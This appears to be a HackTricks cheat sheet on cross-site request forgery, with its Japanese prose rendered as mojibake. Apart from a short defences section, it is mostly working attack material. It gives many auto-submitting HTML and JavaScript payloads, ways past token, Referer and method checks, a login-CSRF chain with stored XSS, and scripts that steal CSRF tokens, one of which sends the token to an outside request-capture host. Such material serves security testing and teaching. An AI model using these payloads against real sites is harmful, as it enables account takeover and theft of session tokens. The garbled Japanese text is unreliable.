CSRF (Cross Site Request Forgery)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Cross-Site Request Forgery (CSRF) ã®èª¬æ
Cross-Site Request Forgery (CSRF) ã¯ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã«èŠãããäžçš®ã®ã»ãã¥ãªãã£è匱æ§ã§ããããã«ãããæ»æè ã¯èªèšŒæžã¿ã»ãã·ã§ã³ãæªçšããŠãæ°ã¥ããŠããªããŠãŒã¶ã«ä»£ãã£ãŠæäœãå®è¡ã§ããŸããæ»æã¯ã被害è ã®ãã©ãããã©ãŒã ã«ãã°ã€ã³ããŠãããŠãŒã¶ãæªæã®ãããµã€ãã蚪ãããšãã«å®è¡ãããŸãã該åœãµã€ã㯠JavaScript ã®å®è¡ããã©ãŒã ã®éä¿¡ãç»åã®ååŸãªã©ã®æ¹æ³ã§è¢«å®³è ã¢ã«ãŠã³ããžãªã¯ãšã¹ããéä¿¡ããŸãã
CSRFæ»æã®åææ¡ä»¶
CSRFè匱æ§ãæªçšããã«ã¯ãããã€ãã®æ¡ä»¶ãæºããããŠããå¿ èŠããããŸã:
- 䟡å€ã®ããæäœãç¹å®ãã: æ»æè ã¯ããã¹ã¯ãŒããã¡ãŒã«ã®å€æŽãæš©éææ Œãªã©ãæªçšã«å€ããæäœãèŠã€ããå¿ èŠããããŸãã
- ã»ãã·ã§ã³ç®¡ç: ãŠãŒã¶ã®ã»ãã·ã§ã³ã¯ cookies ãŸã㯠HTTP Basic Authentication header ã®ã¿ã§ç®¡çãããŠããå¿ èŠããããŸããä»ã®ãããã¯ãã®ç®çã§æäœã§ããŸããã
- äºæž¬äžèœãªãã©ã¡ãŒã¿ããªãããš: ãªã¯ãšã¹ãã«äºæž¬äžèœãªãã©ã¡ãŒã¿ãå«ãŸããŠãããšãæ»æã黿¢ããå¯èœæ§ããããŸãã
ã¯ã€ãã¯ãã§ãã¯
ãªã¯ãšã¹ãã Burp ã§ãã£ããã£ã㊠CSRF ä¿è·ã確èªã§ããŸããããã©ãŠã¶ãããã¹ãããã«ã¯ Copy as fetch ãã¯ãªãã¯ããŠãªã¯ãšã¹ãã確èªã§ããŸã:
 (1) (1).png)
CSRFã«å¯Ÿããé²åŸ¡
CSRFæ»æãé²ãããã«ãããã€ãã®å¯Ÿçãå®è£ ã§ããŸã:
- SameSite cookies: ãã®å±æ§ã¯ãã©ãŠã¶ãã¯ãã¹ãµã€ããªã¯ãšã¹ããšãšãã« cookies ãéä¿¡ããã®ãé²ããŸãã More about SameSite cookies.
- Cross-origin resource sharing: 被害è ãµã€ãã® CORS ããªã·ãŒã¯ãæ»æãã¬ã¹ãã³ã¹ãèªã¿åãå¿ èŠãããå Žåãªã©ãæ»æã®å®çŸå¯èœæ§ã«åœ±é¿ããŸãã Learn about CORS bypass.
- ãŠãŒã¶æ€èšŒ: ãŠãŒã¶ã®ãã¹ã¯ãŒãåå ¥åã CAPTCHA ã®è§£çãèŠæ±ããããšã§ãæå³ã確èªã§ããŸãã
- Referrer ã Origin ãããã®æ€èšŒ: ãããã®ããããæ€èšŒããããšã§ããªã¯ãšã¹ããä¿¡é Œã§ãããœãŒã¹ããæ¥ãŠããã確èªã§ããŸããããããURL ãå·§åŠã«äœæããããšã§äžååãªå®è£
ã¯åé¿ãããããšããããŸããäŸãã°:
http://mal.net?orig=http://example.comïŒURL ãä¿¡é Œããã URL ã§çµããïŒhttp://example.com.mal.netïŒURL ãä¿¡é Œããã URL ã§å§ãŸãïŒ
- ãã©ã¡ãŒã¿åã®å€æŽ: POST ã GET ã®ãã©ã¡ãŒã¿åã倿Žããããšã§ãèªååãããæ»æãé²ãã®ã«åœ¹ç«ã€ããšããããŸãã
- CSRF ããŒã¯ã³: åã»ãã·ã§ã³ã«äžæã® CSRF ããŒã¯ã³ãçµã¿èŸŒã¿ãåŸç¶ã®ãªã¯ãšã¹ãã§ãã®ããŒã¯ã³ãèŠæ±ããããšã§ CSRF ã®ãªã¹ã¯ãå€§å¹ ã«è»œæžã§ããŸããããŒã¯ã³ã®æå¹æ§ã¯ CORS ãé©çšããããšã§ããã«é«ããããŸãã
ãããã®é²åŸ¡ãçè§£ãå®è£ ããããšã¯ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ãšæŽåæ§ãç¶æããããã«éèŠã§ãã
é²åŸ¡ã®äžè¬çãªèœãšã穎
- SameSite ã®èœãšã穎:
SameSite=Laxã¯ãªã³ã¯ããã©ãŒã ã® GET ã®ãããªãããã¬ãã«ã®ã¯ãã¹ãµã€ãããã²ãŒã·ã§ã³ãèš±å¯ãããããå€ãã® GET ããŒã¹ã® CSRF ã¯äŸç¶ãšããŠå¯èœã§ããcookie ãããªãã¯ã¹ã¯ Hacking with Cookies > SameSite ãåç §ããŠãã ããã - ããããã§ãã¯:
Originãååšããå Žåã¯ãããæ€èšŒããŠãã ãããOriginãšRefererã®äž¡æ¹ãååšããªãå Žåã¯å®å šåŽã«åããŠæåŠãã¹ãã§ããRefererã®éšåäžèŽãæ£èŠè¡šçŸãããã«äŸåããªãã§ãã ãããé¡äŒŒãã¡ã€ã³ãå·§åŠã«äœããã URL ã«ãã£ãŠåé¿ãããå¯èœæ§ããããŸãããŸããmeta name="referrer" content="never"ã«ããæå¶ããªãã¯ã«æ³šæããŠãã ããã - ã¡ãœãããªãŒããŒã©ã€ã: ãªãŒããŒã©ã€ããããã¡ãœããïŒ
_methodã override ãããïŒã¯ç¶æ 倿Žãšã¿ãªããå®å¹ã¡ãœããã«å¯Ÿã㊠CSRF ã匷å¶ããŠãã ãããåã« POST ã®ã¿ãæ€æ»ããŠã¯ãããŸããã - ãã°ã€ã³ãããŒ: ãã°ã€ã³ã«ã CSRF ä¿è·ãé©çšããŠãã ããããããªããã°ãlogin CSRF ã«ããæ»æè 管çäžã®ã¢ã«ãŠã³ããžã®åŒ·å¶åèªèšŒãå¯èœã«ãªããstored XSS ãšé£éããæãããããŸãã
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
äžéšã®ã¢ããªã±ãŒã·ã§ã³ã¯ POST ã«å¯ŸããŠã®ã¿ CSRF æ€èšŒã匷å¶ããä»ã® HTTP åè©ã§ã¯ã¹ãããããããšããããŸããPHP ã§ããããã¢ã³ããã¿ãŒã³ã¯æ¬¡ã®ããã«èŠããŸã:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
è匱ãªãšã³ããã€ã³ãã$_REQUESTããã®ãã©ã¡ãŒã¿ãåãä»ããå Žåãåãã¢ã¯ã·ã§ã³ãGETãªã¯ãšã¹ããšããŠåå®è¡ããCSRFããŒã¯ã³ãå®å šã«çç¥ã§ããŸããããã«ãããPOSTå°çšã®ã¢ã¯ã·ã§ã³ãããŒã¯ã³ãªãã§æåããGETã¢ã¯ã·ã§ã³ã«å€æãããŸãã
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- ãã®ãã¿ãŒã³ã¯ãå¿çãapplication/jsonã§ã¯ãªã誀ã£ãŠtext/htmlãšããŠè¿ãããreflected XSSãšå ±ã«çºçããããšãå€ãã
- ãããXSSãšçµã¿åããããšãåäžã®GETãªã³ã¯ã§è匱ãªã³ãŒããã¹ãããªã¬ãŒãã€ã€CSRFãã§ãã¯ãå®å šã«åé¿ã§ãããããæªçšã®ããŒãã«ãå€§å¹ ã«äžããã
ããŒã¯ã³ã®æ¬ åŠ
ã¢ããªã±ãŒã·ã§ã³ã¯ãããŒã¯ã³ãååšããå Žåã«ããŒã¯ã³ãæ€èšŒããä»çµã¿ãå®è£ ããŠããããšããããããããããŒã¯ã³ãååšããªãå Žåã«æ€èšŒãå®å šã«ã¹ãããããããšè匱æ§ãçºçãããæ»æè ã¯å€ãã®ãã®ã ãã§ãªããããŒã¯ã³ãéã¶ãã©ã¡ãŒã¿ãåé€ããããšã§ãããæªçšã§ãããããã«ããæ€èšŒããã»ã¹ãåé¿ãã广çã« Cross-Site Request Forgery (CSRF) æ»æãå®è¡ã§ããã
ããã«ãäžéšã®å®è£
ã§ã¯ãã©ã¡ãŒã¿ã®ååšã ãã確èªããŠå
å®¹ãæ€èšŒããªãããã空ã®ããŒã¯ã³å€ãåãå
¥ããããããšãããããã®å Žåã¯ãcsrf= ãä»ããŠãªã¯ãšã¹ããéãã ãã§ååã§ãã:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
æå°éã®èªåéä¿¡ PoCïŒhistory.pushState ã䜿ã£ãŠããã²ãŒã·ã§ã³ãé ãïŒ:
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRFããŒã¯ã³ããŠãŒã¶ãŒã»ãã·ã§ã³ã«çŽä»ããããŠããªã
ã¢ããªã±ãŒã·ã§ã³ãCSRFããŒã¯ã³ããŠãŒã¶ãŒã»ãã·ã§ã³ã«çŽä»ããŠããªãå Žåãé倧ãªã»ãã¥ãªãã£ãªã¹ã¯ãšãªããŸãããããã®ã·ã¹ãã ã¯ãåããŒã¯ã³ãçºè¡å ã»ãã·ã§ã³ã«çŽä»ããŠããããšã確èªããã®ã§ã¯ãªããã°ããŒãã«ãªããŒã«ã«å¯ŸããŠããŒã¯ã³ãç §åããŠæ€èšŒããŸãã
æ»æè ããããæªçšããæµãã¯æ¬¡ã®éãã§ãïŒ
- èªåã®ã¢ã«ãŠã³ãã§èªèšŒããã
- ã°ããŒãã«ããŒã«ããæå¹ãªCSRFããŒã¯ã³ãååŸããã
- ãã®ããŒã¯ã³ã䜿çšããŠè¢«å®³è ã«å¯ŸããCSRFæ»æãè¡ãã
ãã®è匱æ§ã«ãããæ»æè ã¯ã¢ããªã±ãŒã·ã§ã³ã®äžååãªããŒã¯ã³æ€èšŒã¡ã«ããºã ãçªããŠã被害è ã«ãªãããŸãäžæ£ãªãªã¯ãšã¹ããè¡ãããšãã§ããŸãã
Method bypass
ãªã¯ãšã¹ãããå€ãªãmethodã䜿çšããŠããå Žåãmethod override æ©èœãåäœããŠããã確èªããŠãã ãããããšãã°ãPUT/DELETE/PATCH ã¡ãœããã䜿çšããŠããå ŽåãPOST ã䜿ã£ãŠãªãŒããŒã©ã€ããéä¿¡ããŠè©Šãããšãã§ããŸããäŸ: https://example.com/my/dear/api/val/num?_method=PUT
ããã¯ã_method parameter inside a POST body ãéä¿¡ãããããªãŒããŒã©ã€ãçšã®headersã䜿çšããããšã§åäœããããšããããŸãïŒ
X-HTTP-MethodX-HTTP-Method-OverrideX-Method-Override
LaravelãSymfonyãExpress ãªã©ã®ãã¬ãŒã ã¯ãŒã¯ã§ããèŠãããŸããéçºè ã¯ãã©ãŠã¶ãéPOSTåè©ãçºè¡ã§ããªããšä»®å®ããŠCSRFãéPOSTåè©ã§ã¹ãããããããšããããŸããããªãŒããŒã©ã€ãã䜿ãã°POSTçµç±ã§ãããã®ãã³ãã©ã«å°éã§ããå ŽåããããŸãã
Example request and HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
ã«ã¹ã¿ã ããã㌠token ã®ãã€ãã¹
ãªã¯ãšã¹ãã custom header ã§ token ã远å ããCSRF protection method ãšããŠããå Žåã¯ã次ã詊ããŠãã ããã
- ãªã¯ãšã¹ãã Customized Token and also header. ãªãã§ãã¹ãããã
- åãé·ãã ãå¥ã® same length but different token ã䜿ã£ãŠãªã¯ãšã¹ãããã¹ãããã
CSRF token is verified by a cookie
ã¢ããªã±ãŒã·ã§ã³ã¯ãtoken ã cookie ãšãªã¯ãšã¹ããã©ã¡ãŒã¿ã®äž¡æ¹ã«è€è£œããããCSRF cookie ãèšå®ããŠãããã¯ãšã³ãã«éãããŠãã token ããã® cookie ãšäžèŽããããæ€èšŒããããšã§ãCSRF ä¿è·ãå®è£ ããããšããããã¢ããªã±ãŒã·ã§ã³ã¯ãªã¯ãšã¹ããã©ã¡ãŒã¿å ã® token ã cookie ã®å€ãšäžèŽãããããã§ãã¯ããŠãªã¯ãšã¹ããæ€èšŒããã
ããããWebãµã€ãã« CRLF ã®è匱æ§ãªã©ãæ»æè ã被害è ã®ãã©ãŠã¶ã« CSRF cookie ãèšå®ã§ããŠããŸãæ¬ é¥ãããå Žåããã®æ¹æ³ã¯ CSRF æ»æã«å¯ŸããŠè匱ã«ãªããæ»æè ã¯ãcookie ãèšå®ãããããªåœã®ç»åãèªã¿èŸŒãŸãããã®åŸã« CSRF æ»æãéå§ããããšã§ãããæªçšã§ããã
以äžã¯æ»æã®æ§æäŸã§ãïŒ
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
Tip
泚æ: csrf tokenãsession cookieã«é¢é£ããŠããå Žåããã®æ»æã¯æ©èœããŸããããªããªãã被害è ã«ããªãã® session ãèšå®ããå¿ èŠãããããã®çµæèªåèªèº«ãæ»æããããšã«ãªãããã§ãã
Content-Type ã®å€æŽ
According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:
application/x-www-form-urlencodedmultipart/form-datatext/plain
However, note that the ãµãŒããŒã®ããžãã¯ã¯ç°ãªãå ŽåããããŸã depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.
Example (from here) of sending JSON data as text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
JSONããŒã¿ã«å¯Ÿããããªãã©ã€ããªã¯ãšã¹ãã®åé¿
POSTãªã¯ãšã¹ãã§JSONããŒã¿ãéä¿¡ããããšããå ŽåãHTMLãã©ãŒã ã§ Content-Type: application/json ãçŽæ¥äœ¿çšããããšã¯ã§ããŸãããåæ§ã«ãXMLHttpRequest ã§ãã® Content-Type ãéä¿¡ãããšããªãã©ã€ããªã¯ãšã¹ããçºçããŸããããã§ãããã®å¶éãåé¿ããŠãµãŒããŒã Content-Type ã«é¢ä¿ãªã JSON ããŒã¿ãåŠçãããã©ããã確èªããããã®æ¹æ³ãããã€ããããŸã:
- Use Alternative Content Types: ãã©ãŒã ã§
enctype="text/plain"ãèšå®ããŠãContent-Type: text/plainãContent-Type: application/x-www-form-urlencodedãå©çšããŸãããã®æ¹æ³ã§ããã¯ãšã³ãã Content-Type ã«é¢ä¿ãªãããŒã¿ãå©çšãããããã¹ãã§ããŸãã - Modify Content Type: ããªãã©ã€ããªã¯ãšã¹ããåé¿ãã€ã€ãµãŒããŒãå
容ã JSON ãšèªèããããã«ããã«ã¯ã
Content-Type: text/plain; application/jsonã§ããŒã¿ãéä¿¡ã§ããŸããããã«ããããªãã©ã€ãã¯çºçããŸãããããµãŒããŒãapplication/jsonãåãå ¥ããããæ§æãããŠããã°æ£ããåŠçãããå¯èœæ§ããããŸãã - SWF Flash File Utilization: ããäžè¬çã§ã¯ãããŸãããå®è¡å¯èœãªæ¹æ³ãšããŠããããã®å¶éãåé¿ããããã« SWF flash ãã¡ã€ã«ã䜿çšããææ³ããããŸãããã®ææ³ã®è©³çްã«ã€ããŠã¯ this post ãåç §ããŠãã ããã
Referrer / Origin ãã§ãã¯ã®åé¿
Referer ããããéãããªã
ã¢ããªã±ãŒã·ã§ã³ã¯ âRefererâ ããããååšããå Žåã«ã®ã¿æ€èšŒããããšããããŸãããã©ãŠã¶ããã®ããããéä¿¡ããªãããã«ããã«ã¯ã次㮠HTML meta ã¿ã°ã䜿çšã§ããŸã:
<meta name="referrer" content="never">
ããã«ãã âRefererâ ããããŒãçç¥ãããäžéšã®ã¢ããªã±ãŒã·ã§ã³ã§æ€èšŒãã§ãã¯ãåé¿ã§ããå¯èœæ§ããããŸãã
Regexp bypasses
Referrer ããã©ã¡ãŒã¿å ã«éä¿¡ãã URL ã®ãµãŒããŒã®ãã¡ã€ã³åãèšå®ããã«ã¯ã次ã®ããã«ããŸã:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
The first part of this CTF writeup is explained that Oakâs source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isnât unique to Oak. Instead of a specific handler that deals with HEAD reqs, theyâre simply given to the GET handler but the app just removes the response body.
ãããã£ãŠããã GET ãªã¯ãšã¹ããå¶éãããŠããå Žåãåã« send a HEAD request that will be processed as a GET request ããããšã§åé¿ã§ããŸãã
Exploit Examples
Stored CSRF via user-generated HTML
rich-text editors ã HTML injection ãèš±å¯ãããŠããå Žåãè匱㪠GET endpoint ã«å¯ŸããŠååç㪠fetch ãæ°žç¶åã§ããŸããã³ã³ãã³ããé²èЧãããŠãŒã¶ãŒã¯ããã®ãªã¯ãšã¹ããèªåçã«èªèº«ã® cookies ãšãšãã«å®è¡ããŸãã
- If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
èªã¿èŸŒãŸãããšãã«é²èЧè ã®ã¡ãŒã«ã倿Žããæå°ã®äŸ:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF ã stored XSS ãšé£éããã
åäœã® Login CSRF ã¯åœ±é¿ãå°ããå Žåãããããauthenticated 㪠stored XSS ãšé£éããããšåŒ·åã«ãªã: 被害è ãæ»æè å¶åŸ¡ã®ã¢ã«ãŠã³ãã§èªèšŒããããã®ã³ã³ããã¹ãã§ authenticated ãªããŒãžäžã® stored XSS ãå®è¡ããããš tokens ãçãã ããsession ãä¹ã£åã£ãããprivileges ãææ Œããããã§ããã
- login endpoint ã CSRF-ableïŒper-session token ã origin check ããªãïŒã§ãuser interaction gates ã«ãã£ãŠãããã¯ãããªãããšã確èªããã
- 匷å¶ãã°ã€ã³åŸãèªåçã«æ»æè ã® stored XSS ãã€ããŒããå«ãããŒãžãžé·ç§»ãããã
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
CSRF Tokenã®æœåº
ãã CSRF Token ã é²åŸ¡ ãšããŠäœ¿ãããŠããå ŽåãXSS ã®è匱æ§ã Dangling Markup ã®è匱æ§ãæªçšã㊠exfiltrate it ã詊ã¿ãããšãã§ããŸãã
HTMLã¿ã°ã䜿ã£ã GET
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
GET ãªã¯ãšã¹ããèªåçã«éä¿¡ããããã«äœ¿çšã§ãããã®ä»ã® HTML5 ã¿ã°ã¯æ¬¡ã®ãšããã§ã:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
ãã©ãŒã ã«ããGETãªã¯ãšã¹ã
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
ãã©ãŒã ã®POSTãªã¯ãšã¹ã
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
iframeã䜿ã£ããã©ãŒã ã®POSTãªã¯ãšã¹ã
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST request
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data ã® POST ãªã¯ãšã¹ã
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
iframe å ããã® Form ã® POST ãªã¯ãšã¹ã
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
CSRF Tokenãçãã§POST requestãéä¿¡ãã
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
CSRF Tokenãçã¿ãiframeãformãAjaxã䜿ã£ãŠPostãªã¯ãšã¹ããéä¿¡ãã
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
CSRF Tokenãçã¿ãiframeãšformã䜿ã£ãŠPOSTãªã¯ãšã¹ããéä¿¡ãã
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
token ãçã¿ã2 iframes ã䜿ã£ãŠéä¿¡ãã
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token ã Ajax ã§ååŸããform ã§ post ãéä¿¡ãã
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
Socket.IO ã䜿ã£ã CSRF
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
